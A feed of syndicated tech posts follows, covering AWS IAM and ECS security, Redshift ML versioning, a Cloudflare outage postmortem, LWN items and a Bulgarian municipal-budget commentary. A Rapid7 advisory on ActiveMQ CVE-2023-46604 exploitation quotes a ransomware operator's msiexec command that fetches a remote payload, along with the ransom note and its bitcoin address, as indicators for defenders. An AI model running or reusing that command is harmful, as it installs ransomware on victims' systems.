Post Syndicated from corbet original https://lwn.net/Articles/949461/
LWN.net is looking to hire a full-time writer/editor to help us keep the
news flowing and to expand our content in areas of interest to our readers.
We are certain that the person we need is out there somewhere, and are
counting on help from LWN readers to find them. Read on for details on who
we are looking for and how we see them fitting in here.
Post Syndicated from Nini Ren original https://aws.amazon.com/blogs/security/refine-permissions-for-externally-accessible-roles-using-iam-access-analyzer-and-iam-action-last-accessed/
When you build on Amazon Web Services (AWS) across accounts, you might use an AWS Identity and Access Management (IAM) role to allow an authenticated identity from outside your account—such as an IAM entity or a user from an external identity provider—to access the resources in your account. IAM roles have two types of policies attached to them: a trust policy that allows access to an external entity, and a permissions policy that defines what actions the role can take. This blog post focuses on how to use AWS Identity and Access Management Access Analyzer cross-account access findings and IAM action last accessed information to refine the permissions policies of your IAM roles that have a trust policy.
IAM Access Analyzer helps you set, verify, and refine permissions. To learn more about how IAM Access Analyzer guides you toward least-privilege permissions, visit Using AWS IAM Access Analyzer. Action last accessed information helps you identify unused permissions and refine the access of your IAM roles to only the actions they use. IAM now provides action last accessed information for more than 140 services such as Amazon Kinesis Data Streams and Data Firehose, Amazon DynamoDB, and Amazon Simple Queue Service (Amazon SQS).
This blog post walks you through how to use IAM Access Analyzer and action last accessed to refine the required permissions for your IAM roles that have a trust policy, which allows entities outside of your account to assume a role and access your resources.
You can create an IAM role that grants permissions for an entity outside your account to access the resources in your account. For example, if you’re an application developer, you might grant cross-account access to your AWS resources by using a role and attaching a trust policy to the role.
To allow an external entity access to your resources by using a role, you first create a role with a role trust policy to grant access to entities outside your account, and then grant permissions that specify which actions the role can take. The external entities can then assume the role in your account and access your resources based on the permissions you granted to the role. See Cross-account access using roles for more information.
You should restrict the access of roles that grant access outside of your account to just the permissions required to perform a specific task.
When you use role trust policies to grant account access to entities outside your account, those entities can access and take the allowed actions on your resources. IAM Access Analyzer continuously monitors your account to identify the resources in your account that can be accessed from outside your account and helps you verify whether the access permissions meet your intent. For the example in this post, if you were to add a new trust policy to your
ApplicationRole to grant permissions to an external account to access an application in your account, IAM Access Analyzer would let you know that ApplicationRole is accessible by entities from outside your account.
After you’ve identified the IAM roles that grant access to entities outside your account, review what those roles can do and remove unused permissions. You can use action last accessed to show you the latest timestamp when your IAM role used an action, analyze its access permissions, and remove unused permissions.
This example demonstrates how you can combine the information from IAM Access Analyzer cross-account access findings and IAM action last accessed information to identify roles that can be assumed from outside your account, review unused and unnecessary actions, and reduce the permissions available to external roles.
To view action last accessed information in the IAM console
Figure 1: Findings filtered by resource types
Figure 2: Findings page
Figure 3: Last accessed information of allowed services
Figure 4: Action last accessed information for Amazon DynamoDB
Figure 5: Action last accessed information ordered by not accessed
Figure 6: The JSON code of the customer managed policy
In this post, you learned how to use IAM Access Analyzer and action last accessed information to identify and refine permissions for externally accessible roles in your journey toward least privilege. You first used IAM Access Analyzer cross-account access findings to identify IAM roles that can be accessed from outside your account. You then used IAM action last accessed information to review the permissions those roles are using and to remove unused permissions.
For more information about IAM Access Analyzer cross-account findings, see Findings for public and cross-account access. For more information about action last accessed information, see Things to know about last accessed information and the IAM action last accessed information services and actions.
If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, start a new thread on the AWS re:Post or contact AWS Support.
Post Syndicated from Rapid7 original https://blog.rapid7.com/2023/11/01/etr-suspected-exploitation-of-apache-activemq-cve-2023-46604/
Tom Elkins, John Fenninger, Evan McCann, Matthew Smith, and Micah Young contributed attacker behavior insights to this blog.
Beginning Friday, October 27, Rapid7 Managed Detection and Response (MDR) identified suspected exploitation of Apache ActiveMQ CVE-2023-46604 in two different customer environments. In both instances, the adversary attempted to deploy ransomware binaries on target systems in an effort to ransom the victim organizations. Based on the ransom note and available evidence, we attribute the activity to the HelloKitty ransomware family, whose source code was leaked on a forum in early October. Rapid7 observed similar indicators of compromise across the affected customer environments, both of which were running outdated versions of Apache ActiveMQ.
CVE-2023-46604 is a remote code execution vulnerability in Apache ActiveMQ that allows a remote attacker with network access to a broker “to run arbitrary shell commands by manipulating serialized class types in the OpenWire protocol to cause the broker to instantiate any class on the classpath.” This is one of the more convoluted vulnerability descriptions we’ve seen, but the root cause of the issue is insecure deserialization.
Apache disclosed the vulnerability and released new versions of ActiveMQ on October 25, 2023. Proof-of-concept exploit code and vulnerability details are both publicly available. Rapid7’s vulnerability research team has tested the public PoC and confirmed that the behavior MDR observed in customer environments is similar to what we would expect from exploitation of CVE-2023-46604. Rapid7 research has a technical analysis of the vulnerability in AttackerKB.
According to Apache’s advisory, CVE-2023-46604 affects the following:
During a successful exploitation of the vulnerability, Java.exe will contain the specific Apache application being targeted — in this case, D:\Program files\ActiveMQ\apache-activemq-5.15.3\bin\win64, which was observed as the parent process in both incidents. Post-exploitation, the adversary attempted to load remote binaries named M2.png and M4.png using MSIExec. The threat actor’s attempts at ransomware deployment were somewhat clumsy: In one of the incidents Rapid7 observed, there were more than half a dozen unsuccessful attempts to encrypt assets.
Rapid7 acquired the MSI files M4.png and M2.png from the domain 172.245.16[.]125 and analyzed them in a controlled environment. After analysis, Rapid7 observed that both MSI files contained a 32-bit .NET executable internally named dllloader. Within the .NET executable dllloader, Rapid7 found that the executable loads a Base64-encoded payload. We decoded the Base64-encoded payload and determined that it was a 32-bit .NET DLL named EncDLL.
The EncDLL binary contained functionality similar to that of ransomware — the DLL searches for specific processes and stops them from running. Rapid7 observed the DLL will encrypt specific file extensions using the RSACryptoServiceProvider function, appending encrypted files with the extension .locked. We also observed another function that provided information about which directories to avoid encrypting, a static variable assigned with the ransomware note, and a function that attempted communication to an HTTP server, 172.245.16[.]125.
The ransomware note indicated communications should occur through the email address service@hellokittycat[.]online:
send 0.1btc to my address:bc1ql8an5slxutu3yjyu9rvhsfcpv29tsfhv3j9lr4. contact email:[email protected],if you can't contact my email, please contact some data recovery company(suggest taobao.com), may they can contact to me.
Rapid7’s vulnerability research team analyzed CVE-2023-46604 and available public exploit code. In our test setup, activemq.log had a single line entry for successful exploitation of CVE-2023-46604:
2023-10-31 05:04:58,736 | WARN | Transport Connection to: tcp://192.168.86.35:15871 failed: java.net.SocketException: An established connection was aborted by the software in your host machine | org.apache.activemq.broker.TransportConnection.Transport | ActiveMQ Transport: tcp:///192.168.86.35:15871@61616
In the above example, the attacker’s IP was 192.168.86.35, and the target TCP port was 61616. More or less information may be available depending on the logging settings, which can be modified.
Other IOCs:
Files dropped and executed via the msiexec command:
cmd.exe /c "start msiexec /q /i hxxp://172.245.16[.]125/m4.png"cmd.exe /c "start msiexec /q /i hxxp://172.245.16[.]125/m4.png"The following files hashes were part of the two MSI packages downloaded from the domain 172.245.16[.]125:
M2.msi: 8177455ab89cc96f0c26bc42907da1a4f0b21fdc96a0cc96650843fd616551f4M4.msi: 8c226e1f640b570a4a542078a7db59bb1f1a55cf143782d93514e3bd86dc07a0dllloader: C3C0CF25D682E981C7CE1CC0A00FA2B8B46CCE2FA49ABE38BB412DA21DA99CB7EncDll: 3E65437F910F1F4E93809B81C19942EF74AA250AE228CACA0B278FC523AD47COrganizations should update to a fixed version of ActiveMQ as soon as possible and look for indicators of compromise in their environments. Apache-supplied updates are available here. Apache also has information on improving the security of ActiveMQ implementations here.
Rapid7 MDR, InsightIDR, and Managed Threat Complete (MTC) customers have the following rules deployed and alerting on the post-exploitation activity related to this threat. Rapid7 recommends ensuring the Insight Agent is deployed to all applicable assets within our customers’ environments:
InsightVM and Nexpose customers will be able to assess their exposure to CVE-2023-46604 with an authenticated vulnerability check for Windows being targeted for today’s (Wednesday, November 1) content release.
Post Syndicated from Rohit Kumar original https://www.servethehome.com/wistron-800gbe-and-2-5gbe-poe-switches-at-ocp-summit-2023/
Wistron showed off some cool Broadcom Tomahawk 5 800GbE switches and even some PoE++ 2.5GbE edge switches at OCP Summit 2023
The post Wistron 800GbE and 2.5GbE PoE Switches at OCP Summit 2023 appeared first on ServeTheHome.
Post Syndicated from jake original https://lwn.net/Articles/949435/
Python functions can use both positional and keyword arguments; the latter
provide a certain level of documentation for an argument and its meaning,
while allowing them to be given in any order in a call. But it is often
the case that the name of the local variable to be passed is the same as
the keyword, which can lead to overly repetitive argument lists, at least
in some eyes. A recent proposal to shorten the syntax for calls with
these duplicate names seems to be gaining some steam—a Python Enhancement
Proposal (PEP) is forthcoming—though there are some who find it to be an
unnecessary and unwelcome complication for the language.
Post Syndicated from Rohit Bansal original https://aws.amazon.com/blogs/big-data/implement-model-versioning-with-amazon-redshift-ml/
Amazon Redshift ML allows data analysts, developers, and data scientists to train machine learning (ML) models using SQL. In previous posts, we demonstrated how you can use the automatic model training capability of Redshift ML to train classification and regression models. Redshift ML allows you to create a model using SQL and specify your algorithm, such as XGBoost. You can use Redshift ML to automate data preparation, preprocessing, and selection of your problem type (for more information, refer to Create, train, and deploy machine learning models in Amazon Redshift using SQL with Amazon Redshift ML). You can also bring a model previously trained in Amazon SageMaker into Amazon Redshift via Redshift ML for local inference. For local inference on models created in SageMaker, the ML model type must be supported by Redshift ML. However, remote inference is available for model types that are not natively available in Redshift ML.
Over time, ML models grow old, and even if nothing drastic happens, small changes accumulate. Common reasons why ML models needs to be retrained or audited include:
You may need to refresh the model on a regular basis, automate the process, and reevaluate your model’s improved accuracy. As of this writing, Amazon Redshift doesn’t support versioning of ML models. In this post, we show how you can use the bring your own model (BYOM) functionality of Redshift ML to implement versioning of Redshift ML models.
We use local inference to implement model versioning as part of operationalizing ML models. We assume that you have a good understanding of your data and the problem type that is most applicable for your use case, and have created and deployed models to production.
In this post, we use Redshift ML to build a regression model that predicts the number of people that may use the city of Toronto’s bike sharing service at any given hour of a day. The model accounts for various aspects, including holidays and weather conditions, and because we need to predict a numerical outcome, we used a regression model. We use data drift as a reason for retraining the model, and use model versioning as part of the solution.
After a model is validated and is being used on a regular basis for running predictions, you can create versions of the models, which requires you to retrain the model using an updated training set and possibly a different algorithm. Versioning serves two main purposes:
At the time of this writing, Redshift ML doesn’t have native versioning capabilities, but you can still achieve versioning by implementing a few simple SQL techniques by using the BYOM capability. BYOM was introduced to support pre-trained SageMaker models to run your inference queries in Amazon Redshift. In this post, we use the same BYOM technique to create a version of an existing model built using Redshift ML.
The following figure illustrates this workflow.
In the following sections, we show you how to can create a version from an existing model and then perform model retraining.
As a prerequisite for implementing the example in this post, you need to set up a Redshift cluster or Amazon Redshift Serverless endpoint. For the preliminary steps to get started and set up your environment, refer to Create, train, and deploy machine learning models in Amazon Redshift using SQL with Amazon Redshift ML.
We use the regression model created in the post Build regression models with Amazon Redshift ML. We assume that it is already been deployed and use this model to create new versions and retrain the model.
The first step is to create a version of the existing model (which means saving developmental changes of the model) so that a history is maintained and the model is available for comparison later on.
The following code is the generic format of the CREATE MODEL command syntax; in the next step, you get the information needed to use this command to create a new version:
Next, we collect and apply the input parameters to the preceding CREATE MODEL code to the model. We need the job name and the data types of the model input and output values. We collect these by running the show model command on our existing model. Run the following command in Amazon Redshift Query Editor v2:
Note the values for AutoML Job Name, Function Parameter Types, and the Target Column (trip_count) from the model output. We use these values in the CREATE MODEL command to create the version.
The following CREATE MODEL statement creates a version of the current model using the values collected from our show model command. We append the date (the example format is YYYYMMDD) to the end of the model and function names to track when this new version was created.
This command may take few minutes to complete. When it’s complete, run the following command:
We can observe the following in the output:
Local, which designates this is BYOM with local inferenceYou can run inference queries using both versions of the model to validate the inference outputs.
The following screenshot shows the output of the model inference using the original version.
The following screenshot shows the output of model inference using the version copy.
As you can see, the inference outputs are the same.
You have now learned how to create a version of a previously trained Redshift ML model.
After you create a version of an existing model, you can retrain the existing model by simply creating a new model.
You can create and train a new model using same CREATE MODEL command but using different input parameters, datasets, or problem types as applicable. For this post, we retrain the model on newer datasets. We append _new to the model name so it’s similar to the existing model for identification purposes.
In the following code, we use the CREATE MODEL command with a new dataset available in the training_data table:
Run the following command to check the status of the new model:
The last step is to replace the existing model with the retrained model. We do this by dropping the original version of the model and recreating a model using the BYOM technique.
First, check your retrained model to ensure the MSE/RMSE scores are staying stable between model training runs. To validate the models, you can run inferences by each of the model functions on your dataset and compare the results. We use the inference queries provided in Build regression models with Amazon Redshift ML.
After validation, you can replace your model.
Start by collecting the details of the predict_rental_count_new model.
Note the AutoML Job Name value, the Function Parameter Types values, and the Target Column name in the model output.
Replace the original model by dropping the original model and then creating the model with the original model and function names to make sure the existing references to the model and function names work:
The model creation should complete in a few minutes. You can check the status of the model by running the following command:
When the model status is ready, the newer version predict_rental_count of your existing model is available for inference and the original version of the ML model predict_rental_count_20230706 is available for reference if needed.
Please refer to this GitHub repository for sample scripts to automate model versioning.
In this post, we showed how you can use the BYOM feature of Redshift ML to do model versioning. This allows you to have a history of your models so that you can compare model scores over time, respond to audit requests, and run inferences while training a new model.
For more information about building different models with Redshift ML, refer to Amazon Redshift ML.
Rohit Bansal is an Analytics Specialist Solutions Architect at AWS. He specializes in Amazon Redshift and works with customers to build next-generation analytics solutions using other AWS Analytics services.
Phil Bates is a Senior Analytics Specialist Solutions Architect at AWS. He has more than 25 years of experience implementing large-scale data warehouse solutions. He is passionate about helping customers through their cloud journey and using the power of ML within their data warehouse.
Post Syndicated from Matt Silverlock original http://blog.cloudflare.com/cloudflare-incident-on-october-30-2023/
Multiple Cloudflare services were unavailable for 37 minutes on October 30, 2023. This was due to the misconfiguration of a deployment tool used by Workers KV. This was a frustrating incident, made more difficult by Cloudflare’s reliance on our own suite of products. We are deeply sorry for the impact it had on customers. What follows is a discussion of what went wrong, how the incident was resolved, and the work we are undertaking to ensure it does not happen again.
Workers KV is our globally distributed key-value store. It is used by both customers and Cloudflare teams alike to manage configuration data, routing lookups, static asset bundles, authentication tokens, and other data that needs low-latency access.
During this incident, KV returned what it believed was a valid HTTP 401 (Unauthorized) status code instead of the requested key-value pair(s) due to a bug in a new deployment tool used by KV.
These errors manifested differently for each product depending on how KV is used by each service, with their impact detailed below.
A number of Cloudflare services depend on Workers KV for distributing configuration, routing information, static asset serving, and authentication state globally. These services instead received an HTTP 401 (Unauthorized) error when performing any get, put, delete, or list operation against a KV namespace.
Customers using the following Cloudflare products would have observed heightened error rates and/or would have been unable to access some or all features for the duration of the incident:
| Product | Impact |
|---|---|
| Workers KV | Customers with applications leveraging KV saw those applications fail during the duration of this incident, including both the KV API within Workers, and the REST API. Workers applications not using KV were not impacted. |
| Pages | Applications hosted on Pages were unreachable for the duration of the incident and returned HTTP 500 errors to users. New Pages deployments also returned HTTP 500 errors to users for the duration. |
| Access | Users who were unauthenticated could not log in; any origin attempting to validate the JWT using the /certs endpoint would fail; any application with a device posture policy failed for all users. Existing logged-in sessions that did not use the /certs endpoint or posture checks were unaffected. Overall, a large percentage of existing sessions were still affected. |
| WARP / Zero Trust | Users were unable to register new devices or connect to resources subject to policies that enforce Device Posture checks or WARP Session timeouts. Devices already enrolled, resources not relying on device posture, or that had re-authorized outside of this window were unaffected. |
| Images | The Images API returned errors during the incident. Existing image delivery was not impacted. |
| Cache Purge (single file) | Single file purge was partially unavailable for the duration of the incident as some data centers could not access configuration data in KV. Data centers that had existing configuration data locally cached were unaffected. Other cache purge mechanisms, including purge by tag, were unaffected. |
| Workers | Uploading or editing Workers through the dashboard, wrangler or API returned errors during the incident. Deployed Workers were not impacted, unless they used KV. |
| AI Gateway | AI Gateway was not able to proxy requests for the duration of the incident. |
| Waiting Room | Waiting Room configuration is stored at the edge in Workers KV. Waiting Room configurations, and configuration changes, were unavailable and the service failed open. When access to KV was restored, some Waiting Room users would have experienced queuing as the service came back up. |
| Turnstile and Challenge Pages | Turnstile’s JavaScript assets are stored in KV, and the entry point for Turnstile (api.js) was not able to be served. Clients accessing pages using Turnstile could not initialize the Turnstile widget and would have failed closed during the incident window. Challenge Pages (which products like Custom, Managed and Rate Limiting rules use) also use Turnstile infrastructure for presenting challenge pages to users under specific conditions, and would have blocked users who were presented with a challenge during that period. |
| Cloudflare Dashboard | Parts of the Cloudflare dashboard that rely on Turnstile and/or our internal feature flag tooling (which uses KV for configuration) returned errors to users for the duration. |
All timestamps referenced are in Coordinated Universal Time (UTC).
| Time | Description |
|---|---|
| 2023-10-30 18:58 UTC | The Workers KV team began a progressive deployment of a new KV build to production. |
| 2023-10-30 19:29 UTC | The internal progressive deployment API returns staging build GUID to a call to list production builds. |
| 2023-10-30 19:40 UTC | The progressive deployment API was used to continue rolling out the release. This routed a percentage of traffic to the wrong destination, triggering alerting and leading to the decision to roll back. |
| 2023-10-30 19:54 UTC | Rollback via progressive deployment API attempted, traffic starts to fail at scale. — IMPACT START — |
| 2023-10-30 20:15 UTC | Cloudflare engineers manually edit (via break glass mechanisms) deployment routes to revert to last known good build for the majority of traffic. |
| 2023-10-30 20:29 UTC | Workers KV error rates return to normal pre-incident levels, and impacted services recover within the following minute. |
| 2023-10-30 20:31 UTC | Impact resolved — IMPACT END — |
As shown in the above timeline, there was a delay between the time we realized we were having an issue at 19:54 UTC and the time we were actually able to perform the rollback at 20:15 UTC.
This was caused by the fact that multiple tools within Cloudflare rely on Workers KV including Cloudflare Access. Access leverages Workers KV as part of its request verification process. Due to this, we were unable to leverage our internal tooling and had to use break-glass mechanisms to bypass the normal tooling. As described below, we had not spent sufficient time testing the rollback mechanisms. We plan to harden this moving forward.
Cloudflare engineers manually switched (via break glass mechanism) the production route to the previous working version of Workers KV, which immediately eliminated the failing request path and subsequently resolved the issue with the Workers KV deployment.
Workers KV is a low-latency key-value store that allows users to store persistent data on Cloudflare’s network, as close to the users as possible. This distributed key-value store is used in many applications, some of which are first-party Cloudflare products like Pages, Access, and Zero Trust.
The Workers KV team was progressively deploying a new release using a specialized deployment tool. The deployment mechanism contains a staging and a production environment, and utilizes a process where the production environment is upgraded to the new version at progressive percentages until all production environments are upgraded to the most recent production build. The deployment tool had a latent bug with how it returns releases and their respective versions. Instead of returning releases from a single environment, the tool returned a broader list of releases than intended, resulting in production and staging releases being returned together.
In this incident, the service was deployed and tested in staging. But because of the deployment automation bug, when promoting to production, a script that had been deployed to the staging account was incorrectly referenced instead of the pre-production version on the production account. As a result, the deployment mechanism pointed the production environment to a version that was not running anywhere in the production environment, effectively black-holing traffic.
When this happened, Workers KV became unreachable in production, as calls to the product were directed to a version that was not authorized for production access, returning a HTTP 401 error code. This caused dependent products which stored key-value pairs in KV to fail, regardless of whether the key-value pair was cached locally or not.
Although automated alerting detected the issue immediately, there was a delay between the time we realized we were having an issue and the time we were actually able to perform the roll back. This was caused by the fact that multiple tools within Cloudflare rely on Workers KV including Cloudflare Access. Access uses Workers KV as part of the verification process for user JWTs (JSON Web Tokens).
These tools include the dashboard which was used to revert the change, and the authentication mechanism to access our continuous integration (CI) system. As Workers KV was down, so too were these services. Automatic rollbacks via our CI system had been successfully tested previously, but the authentication issues (Access relies on KV) due to the incident made accessing the necessary secrets to roll back the deploy impossible.
The fix ultimately was a manual change of the production build path to a previous and known good state. This path was known to have been deployed and was the previous production build before the attempted deployment.
As more teams at Cloudflare have built on Workers, we have “organically” ended up in a place where Workers KV now underpins a tremendous amount of our products and services. This incident has continued to reinforce the need for us to revisit how we can reduce the blast radius of critical dependencies, which includes improving the sophistication of our deployment tooling, its ease-of-use for our internal teams, and product-level controls for these dependencies. We’re prioritizing these efforts to ensure that there is not a repeat of this incident.
This also reinforces the need for Cloudflare to improve the tooling, and the safety of said tooling, around progressive deployments of Workers applications internally and for customers.
This includes (but is not limited) to the below list of key follow-up actions (in no specific order) this quarter:
Again, we’re extremely sorry this incident occurred, and take the impact of this incident on our customers extremely seriously.
Post Syndicated from Talks at Google original https://www.youtube.com/watch?v=2iEJrv9q6-U
Post Syndicated from corbet original https://lwn.net/Articles/949647/
LWN editor Jonathan Corbet was asked to give a brief talk about kernel
maintainership at the recently concluded Linux
Foundation Member Summit. That talk was recorded and has now been made available
on YouTube. There is little in it that will be news to regular LWN
readers, but it may be instructive to folks who are less well versed in how
kernel development works.
Post Syndicated from corbet original https://lwn.net/Articles/949625/
Matthew Garrett explains
why ACPI exists and why it is not as bad a thing as some think.
There’s an alternative universe where we decided to teach the
kernel about every piece of hardware it should run on. Fortunately
(or, well, unfortunately) we’ve seen that in the ARM world. Most
device-specific simply never reaches mainline, and most users are
stuck running ancient kernels as a result. Imagine every x86 device
vendor shipping their own kernel optimised for their hardware, and
now imagine how well that works out given the quality of their
firmware. Does that really seem better to you?
Post Syndicated from Mutaz Hajeer original https://aws.amazon.com/blogs/security/security-considerations-for-running-containers-on-amazon-ecs/
If you’re looking to enhance the security of your containers on Amazon Elastic Container Service (Amazon ECS), you can begin with the six tips that we’ll cover in this blog post. These curated best practices are recommended by Amazon Web Services (AWS) container and security subject matter experts in order to help raise your container security posture.
Before we jump into best practices, let’s look at the how the shared responsibility model works for Amazon ECS hosted on Amazon Elastic Compute Cloud (Amazon EC2) infrastructure compared to AWS Fargate. The security and compliance of a managed service like Amazon ECS is a shared responsibility between you and AWS. Generally speaking, AWS is responsible for security of the cloud whereas you, the customer, are responsible for security in the cloud. AWS is responsible for the management of the Amazon ECS control plane, including the infrastructure that’s needed to deliver a secure and reliable service. In this post, we’re going to focus on the areas of ECS security that you will be responsible for and provide guidance on what you need to do to adhere to these ECS security best practices.
Figure 1 shows the shared responsibility model for Amazon ECS hosted on an EC2 instance, in which the customer has more security responsibility to cover than when using ECS on Fargate. For example, the ECS agent and the worker node configuration is the customer’s responsibility to govern, because the customer is managing the EC2 instance. Therefore, the customer will have to manage the ECS agent and worker node as part of their configuration and management operations.
Figure 1: Responsibility model for Amazon ECS hosted on an Amazon EC2 instance
AWS assumes greater responsibility for infrastructure security for Fargate, as shown in Figure 2.
Figure 2: Responsibility model for Amazon ECS hosted on Fargate
In Fargate, each task runs in its own virtual machine (VM). No two tasks share the operating system or kernel resources. With Fargate, AWS manages the security of the underlying instance in the cloud and the runtime that’s used to run your tasks. It also automatically scales your infrastructure on your behalf, which is something you should take into consideration if you’re starting your container journey and deciding on your infrastructure options.
With that, let’s go through these six Amazon ECS security best practices.
AWS Identity and Access Management (IAM) policies can help you control access to Amazon ECS. For this we recommend that you do the following:
Network security is an important item to work on as part of applying best practices to secure your Amazon ECS environment. This area includes several sub-areas such as firewalling, traffic routing, and network observability. Here’s what we recommend:
Secrets, such as API keys and database credentials, are frequently used by applications to gain access to other systems. They often consist of a username and password, a certificate, or an API key. Access to these secrets should be restricted to specific IAM principals that are using IAM and injected into containers at runtime. Here’s what we recommend:
You should consider the container image as your first line of defense. An insecure, poorly constructed image can allow users to escape the bounds of the container and gain access to the host. You should do the following to mitigate the chances of this happening:
Figure 3: Sample architecture showing how to get notified of Amazon Inspector findings on a container’s image
Figure 4: Enabling the tag immutability feature for your Amazon ECR repository
Logging and monitoring your container’s activity can help you quickly identify and investigate security incidents in your AWS environments. For example, threat actors might have escalated permissions and have access to your root user. Here’s what we recommend:
When using Amazon ECS, your compliance responsibility is determined by the sensitivity of your data, the compliance objectives of your company, and applicable laws and regulations. For example, with regards to the Payment Card Industry Data Security Standard (PCI-DSS), it’s important that you understand the complete flow of cardholder data (CHD) within your environment.
The temporary nature of containerized applications provides additional complexities when auditing configurations. As a result, customers need to maintain an awareness of all container configuration parameters, to make sure that compliance requirements are addressed throughout the phases of a container lifecycle. For additional information on adhering to PCI DSS compliance on Amazon ECS, see the Architecting on Amazon ECS for PCI DSS Compliance whitepaper.
One service that can help with monitoring Amazon ECS compliance is AWS Security Hub. You can use this service to monitor your usage of ECS as it relates to security best practices. Security Hub uses controls to evaluate resource configurations and security standards to help you comply with various compliance frameworks. For more information about using Security Hub to evaluate ECS resources, see Amazon ECS controls in the AWS Security Hub User Guide.
In this blog post, we presented a curated list of best practices for securing your Amazon ECS implementation. You can use these best practices as a starting point to increase the security posture of your ECS environment. You can always add, remove, or prioritize the best practice items based on your business needs and requirements. If you’re looking for more detailed guidance on securing ECS in your environment, we suggest that you take a look at Amazon ECS Security Best Practices.
If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, start a new thread on AWS re:Post or contact AWS Support.
Post Syndicated from corbet original https://lwn.net/Articles/949612/
Security updates have been issued by Debian (h2o, open-vm-tools, pmix, and zookeeper), Gentoo (GitPython), Oracle (firefox, java-11-openjdk, java-17-openjdk, libguestfs-winsupport, nginx:1.22, and thunderbird), Red Hat (samba), SUSE (container-suseconnect, libsndfile, and slurm), and Ubuntu (krb5, linux, linux-aws, linux-aws-5.15, linux-azure, linux-azure-5.15,
linux-azure-fde, linux-azure-fde-5.15, linux-gcp, linux-gcp-5.15,
linux-gkeop, linux-gkeop-5.15, linux-hwe-5.15, linux-ibm, linux-ibm-5.15,
linux-kvm, linux-lowlatency, linux-lowlatency-hwe-5.15, linux-nvidia,
linux-oracle, linux-oracle-5.15, linux, linux-aws, linux-aws-5.4, linux-azure, linux-azure-5.4,
linux-bluefield, linux-gcp, linux-gcp-5.4, linux-gkeop, linux-hwe-5.4,
linux-ibm, linux-ibm-5.4, linux-kvm, linux-oracle, linux-oracle-5.4,
linux-raspi, linux-raspi-5.4, linux-xilinx-zynqmp, linux, linux-aws, linux-aws-6.2, linux-azure, linux-azure-6.2,
linux-azure-fde-6.2, linux-gcp, linux-gcp-6.2, linux-hwe-6.2, linux-kvm,
linux-lowlatency, linux-lowlatency-hwe-6.2, linux-oracle, linux-raspi,
linux-starfive, linux-laptop, linux-nvidia-6.2, linux-oem-6.1, linux-raspi, open-vm-tools, and xorg-server).
Post Syndicated from VassilKendov original https://kendov.com/%D1%83%D1%80%D0%BE%D0%BA-%D0%BF%D0%BE-%D1%84%D0%B8%D0%BD%D0%B0%D0%BD%D1%81%D0%B8-%D0%BA%D0%B0%D0%BA-%D1%81%D0%B5-%D0%BE%D1%86%D0%B5%D0%BD%D1%8F-%D0%BE%D0%B1%D1%89%D0%B8%D0%BD%D1%81%D0%BA%D0%B8/
Сега когато предизборната кампнаия премина и вотът на Хората от Община Родопи беше повече от ясен е време да се отърсим от предизборното говорене и да започнем да мислим трезво.
Първо да честитим на г-н Павел Михайлов новия мандат и наред с това да започнем да обръщаме внимание на злободневните проблеми.
От толкова много послания, хората не обърнаха внимание на факта, че на всички местни избори става въпрос единствено за борба за разпределение на бюджета на общината, мисля да пускам по някой пост от време на време, за да повищаваме финансовата култура.
Все пак бюджета е най-големия инвеститор в нашата община и без неговите средства няма да имаме нито нови улици, нито друга инфраструктура.
Тази година той беше планиран в размер на 55.7 млн лева.
Миналата година беше в размер на 44.8 млн лева.
Миналата година беше в размер на 44.8 млн лева.
Как обаче се прави връзка между двата бюджета? Разбира се чрез изпълнението. Защото ако нямаме изпълнение, единствения начин е да изпълним обещанията чрез теглене на кредит, както го и направихме.
Бюджет 2022 беше изпълнен на 55%. Прилагам някой снимки.
Пимерно в Бюджет 2022, приходите от данък МПС са заложени 2.2 млн, от който сме изпълнили 2.1 млн. Смея да твърдя доста добро изпълнение. Знаете ли защо? Защото не можете да минете преглед, ако не сте си платили данъка. Този данък е доста добре прогнозируем по тази причина. Затова за 2023г. общината е заложила 3.1 млн. приходи.
Преведено на прост език – ще увеличим данъка или очакваме в рамките на една година, автомобилите да се увеличат с 50%. Тоест всяко второ семейство да си купи по още един автомобил, без да спира от движение съществуващия.
Или разбира се да се почви инвеститор, който да регистрира фирмата си с хиляди автомобили в Общиа Родопи. Ще бъде интересно да видим отчета за 2023 на тези приходи.
Сега като видяхме как работи принципа на оценка на бюджета, нека се фокусираме върху някое друго приходно перо. Примерно „Приходи и доходи от собственост”. Тук вече приходите са изцяло зависими от работата на администрацията. Ако не работиш – няма да имаш приходи, следователно за да изпълниш обещаното ще трябва пак кредит.
За 2022г са планирани 701 500лв, събрани са 181 900 лева, тоест едва 26%. Пак казвам, тук събираемостта е пряко свързана с дейността на администрацията. Въпреки тази ниска събираемост за 2023 сме заложили приходи от 746 600 лв. Тоест увеличение на приходите с 6% при положение, че предходната година си събрал едва 26% от планираното.
С нетърпение очаквам да ме опровергаят в очакванията ми, че тази година по това перо пак изпълнението ще бъде близко до 26%, че и по-малко.
Ето така се раздува бюджета – със заложени неизпълними приходи. Понеже няма санкция за неизпълнението, а само аз задавам някакви въпроси на обсъжданията, администрацията може да си позволи да не си дава много зор в изпълнението. Все пак кредита в края на мандата винаги е опция. Поне до едно време, когато станем свръхзадлъжнели, но до този момент има още време.
Едно е сигурно – следващата година няма да има много нови улици и LED лампи. Поне не без кредит. Виж ако изтеглим още 7 млн. ще е различно.
А Брестовчани могат да си чакат техните 25 млн за смяна на водопроводната мрежа. При този бюджет и това изпълнение аз не го виждам. Освен ако разбира се държавата не помогне. Но при Централна власт доминирана от ГЕРБ и ПП-ДБ, и при кмет на Родопи от БСП, това ще е малко вероятно според мен. Още повече, че Брестовица са се засилили да изберат и селски кмет също от БСП.
Както се казва дано да греша и централната власт да не работи на принципа – Отпускам пари само ако мога да си направя PR или ако са гласували за мен. Дано също така да са сменени тръбите под новия площад в Брестовица, че ако трябва после да го копаем… язък ни за барута.
Та това е начина на оценка на бюджета – колко е добър и колко е ефективен. Ще понапиша и за някои други връзки в общинския бюджет, защото дали разбирате или не, всичко за което поискате пари от кметството, трябва да го има заложено в бюджета и съответно да са осигурени пари за него. Дали от кредити, дали от централната власт или от работата на общинските служители, без пари не става!
Следвайте ме за още финансови уроци, свързани с бюджета на китната Община Родопи
Васил Кендов – патологичен финансист
За срещa с мен моля използвайте посочената форма.
[contact-form-7]
The post Урок по финанси – как се оценя общински бюджет, в случая на Община Родопи appeared first on Kendov.com.
Post Syndicated from The History Guy: History Deserves to Be Remembered original https://www.youtube.com/watch?v=gG4NSZacCW8
Post Syndicated from Светла Енчева original https://www.toest.bg/za-djendura-na-mashinite-i-za-aktivnite-meropriyatiya/
